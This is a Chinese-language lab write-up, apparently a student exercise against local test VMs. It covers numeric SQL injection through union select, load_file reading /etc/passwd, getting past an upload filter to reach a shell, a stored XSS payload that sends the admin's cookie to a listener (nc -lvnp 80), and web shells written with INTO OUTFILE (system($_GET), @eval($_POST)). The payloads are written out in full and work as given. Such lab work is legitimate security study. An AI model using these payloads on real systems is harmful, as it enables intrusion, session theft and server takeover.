zoukankan      html  css  js  c++  java
  • experiment 5

    SQLi

    发现可能的注入点

     

    尝试验证注入

    根据

    http://192.168.35.128/cat.php?id=1' or 1=1%23 发现报错,说明此处非字符型注入

     

    http://192.168.35.128/cat.php?id=1 and 1=1 正常显示

     

    http://192.168.35.128/cat.php?id=1 and 1=2 无显示

    说明此处有注入点并且为数字型注入

    http://192.168.35.128/cat.php?id=1 order by 4时正常显示

     

    http://192.168.35.128/cat.php?id=1 order by 5时报错

     

    说明当前表中只有4个字段

    找出显示的字段

     

     有显示的字段为2

    得到数据库名

    得到表名

     

    得到字段名

     

    得到数据

     

    后台登录传马,发现过滤php,换成大写成功getshell

     

    XSS(没有bot只能手动模拟登陆)

     找到可能的XSS漏洞点

    测试漏洞是否存在

    alert1成功弹窗,说明存在漏洞

    写入攻击代码,并在本地设置监听

    <script>document.write('<img src="http://192.168.243.133/?'+document.cookie+' "/>');</script>

    nc -lvnp 80

    管理员登录后得到管理员的cookie信息

    带着cookie访问该网页(此处可以用控制台document.cookie="xx"实现),成功以管理员登录

    之后寻找注入点

     验证

    and 1=1 正常显示

    and 1=2 无显示

    说明存在sql注入

    order by 发现有4个字段

    找出显示位 http://192.168.243.135/admin/edit.php?id=2%20and%201=2%20union%20select%201,2,3,4

    发现2和3是显示位

    读取passwd  http://192.168.243.135/admin/edit.php?id=2%20and%201=2%20union%20select%201,2,load_file(%22/etc/passwd%22),4

    读取shadow 时无回显 可能是权限不够

    寻找暴露的目录信息,尝试写入

    http://192.168.179.130/admin/edit.php?id=0%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/classes/test.php%22

    访问时404可能是没有写权限

    尝试其他目录(源码中有css目录)

     再尝试写入,访问发现有回显

    ok,这个目录可以利用了,基本可以为所欲为了

    写入命令执行 

    http://192.168.243.135/admin/edit.php?id=0%20union%20select%201,2,%22%3C?php%20system($_GET[%27a%27]);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/test.php%22

     

    写入一句话

    http://192.168.243.135/admin/edit.php?id=0%20union%20select%201,2,%22%3C?php%20@eval($_POST[%27a%27]);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/test4.php%22

     成功拿到shell

  • 相关阅读:
    Java实现数字密码发生器
    Java实现夺冠概率模拟
    Java实现夺冠概率模拟
    Java实现夺冠概率模拟
    java 消息机制 ActiveMQ入门实例
    关于Java String 类型转换时null的问题(转)
    实现quartz定时器及quartz定时器原理介绍(转)
    spring 定时任务的 执行时间设置规则
    Spring与Quartz的整合实现定时任务调度(转)
    python开源项目及示例代码(转)
  • 原文地址:https://www.cnblogs.com/P201521410042/p/8898120.html
Copyright © 2011-2022 走看看